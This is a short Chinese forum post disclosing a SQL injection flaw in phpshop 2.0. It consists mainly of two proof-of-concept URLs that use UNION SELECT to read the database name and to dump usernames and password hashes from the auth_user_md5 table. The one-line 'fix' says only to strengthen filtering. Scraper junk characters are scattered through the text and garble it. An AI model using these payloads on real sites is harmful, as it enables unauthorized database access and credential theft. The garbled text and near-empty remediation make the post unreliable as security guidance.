phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
; P, Z6 }2 ^5 w6 O. ~
4 k/ c8 i  m/ o& \$ u% ^作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
+ }( o; l' ~) C8 G0 e测试地址: windows 7 / ubuntu
6 `1 Y% H1 r* x: ^+ L
/ N; S3 H6 k; z/ S3 s0 H) C* `
SQLi p0c:
4 [0 R# x4 F5 H
==================
" f( X$ p# C2 L0 {. w- X3 n2 e3 \1 n# H
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
2 F! `' E3 J/ eunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
) h; d3 X3 L+ s" \! p
9 u' p7 P; ~/ G+ ehttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
: m5 ^% ^' N3 _
修复：
加强过滤
​